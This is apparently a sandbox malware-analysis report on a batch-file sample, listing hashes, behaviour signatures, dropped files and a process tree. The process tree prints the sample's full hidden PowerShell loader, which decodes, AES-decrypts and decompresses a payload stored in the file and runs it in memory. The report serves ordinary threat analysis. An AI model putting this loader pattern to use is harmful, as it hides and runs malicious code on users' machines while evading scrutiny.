c00cc28d3c1b0187d1971c7e399acd5d9acae5c8042cd8d08c5b492697e0d83d

Analysis

max time kernel
60s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 13:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xccc.bat
Size 1.6MB
Sample240406-qrybfabd3w
SHA256 c00cc28d3c1b0187d1971c7e399acd5d9acae5c8042cd8d08c5b492697e0d83d
MD5 a1e6c524a6982d7148de18b82ccf4b4c
SHA1 bfb6449c135de59fb53d65a11b7a1512e4d6ce97
SHA512 a14cb2f7465cd82dab90d9445da7a362b11ff67100db57da886cfd84cce2ba926a889cb4360203ca94cd73728f93abe367421415bb788e090281e3822413a7d8
SSDEEP 24576:BFjjUxX2aos0an5wdEc5R3eGmasM6MK4NWytx5qwmbw61OFW:BGxXjoY5wiqRuGmtw61X
MD5 SHA1 SHA512 SSDEEP

Score

5^/10

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1592	powershell.exe
1592	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3700 wrote to memory of 216	3700	cmd.exe	87
PID 3700 wrote to memory of 216	3700	cmd.exe	87
PID 216 wrote to memory of 1592	216	cmd.exe	89
PID 216 wrote to memory of 1592	216	cmd.exe	89
PID 3700 wrote to memory of 2324	3700	cmd.exe	91
PID 3700 wrote to memory of 2324	3700	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xccc.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3700
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$GwWqW = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\xccc.bat').Split([Environment]::NewLine);$evTXW = $GwWqW[$GwWqW.Length - 1];$PnSMV = [System.Convert]::FromBase64String($evTXW);$QFQaj = New-Object System.Security.Cryptography.AesManaged;$QFQaj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$QFQaj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$QFQaj.Key = [System.Convert]::FromBase64String('mQ0sWHznYiuFpX5Tdo9CKYViPqytywMU741Clm4fH+I=');$QFQaj.IV = [System.Convert]::FromBase64String('2JkSgvqzf8gbm9ZwkvRa+w==');$dPqVC = $QFQaj.CreateDecryptor();$PnSMV = $dPqVC.TransformFinalBlock($PnSMV, 0, $PnSMV.Length);$dPqVC.Dispose();$QFQaj.Dispose();$iWYjd = New-Object System.IO.MemoryStream(, $PnSMV);$pPFiF = New-Object System.IO.MemoryStream;$CbaTY = New-Object System.IO.Compression.GZipStream($iWYjd, [IO.Compression.CompressionMode]::Decompress);$CbaTY.CopyTo($pPFiF);$CbaTY.Dispose();$iWYjd.Dispose();$pPFiF.Dispose();$PnSMV = $pPFiF.ToArray();[System.Reflection.Assembly]::Load($PnSMV).EntryPoint.Invoke($null, (, [string[]] ('')))"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$GwWqW = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\xccc.bat').Split([Environment]::NewLine);$evTXW = $GwWqW[$GwWqW.Length - 1];$PnSMV = [System.Convert]::FromBase64String($evTXW);$QFQaj = New-Object System.Security.Cryptography.AesManaged;$QFQaj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$QFQaj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$QFQaj.Key = [System.Convert]::FromBase64String('mQ0sWHznYiuFpX5Tdo9CKYViPqytywMU741Clm4fH+I=');$QFQaj.IV = [System.Convert]::FromBase64String('2JkSgvqzf8gbm9ZwkvRa+w==');$dPqVC = $QFQaj.CreateDecryptor();$PnSMV = $dPqVC.TransformFinalBlock($PnSMV, 0, $PnSMV.Length);$dPqVC.Dispose();$QFQaj.Dispose();$iWYjd = New-Object System.IO.MemoryStream(, $PnSMV);$pPFiF = New-Object System.IO.MemoryStream;$CbaTY = New-Object System.IO.Compression.GZipStream($iWYjd, [IO.Compression.CompressionMode]::Decompress);$CbaTY.CopyTo($pPFiF);$CbaTY.Dispose();$iWYjd.Dispose();$pPFiF.Dispose();$PnSMV = $pPFiF.ToArray();[System.Reflection.Assembly]::Load($PnSMV).EntryPoint.Invoke($null, (, [string[]] ('')))"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -Command "Get-Process OpenConsole | Stop-Process -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 920b0533da0c372d9d48d36e09d752c369aec8f67c334e98940909bfcb6c0e6c
MD5 e89c193840c8fb53fc3de104b1c4b092
SHA1 8b41b6a392780e48cc33e673cf4412080c42981e
SHA512 865667a22e741c738c62582f0f06ea4559bb63a1f0410065c6fb3da80667582697aba2e233e91068c02d9ab4fb5db282a681fe8234f4c77a5309b689a37ac3a2
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_iwauytea.o4m.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwauytea.o4m.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1592-16-0x00007FFA356C0000-0x00007FFA36181000-memory.dmp

Download

memory/1592-12-0x00000284FA900000-0x00000284FA910000-memory.dmp

Download

memory/1592-13-0x00000284FD270000-0x00000284FD3A6000-memory.dmp

Download

memory/1592-0-0x00000284FD020000-0x00000284FD042000-memory.dmp

Download

memory/1592-11-0x00000284FA900000-0x00000284FA910000-memory.dmp

Download

memory/1592-10-0x00007FFA356C0000-0x00007FFA36181000-memory.dmp

Download

memory/2324-18-0x00007FFA354D0000-0x00007FFA35F91000-memory.dmp

Download

memory/2324-19-0x000001D77BB70000-0x000001D77BB80000-memory.dmp

Download

memory/2324-20-0x000001D77BB70000-0x000001D77BB80000-memory.dmp

Download

memory/2324-32-0x00007FFA354D0000-0x00007FFA35F91000-memory.dmp

Download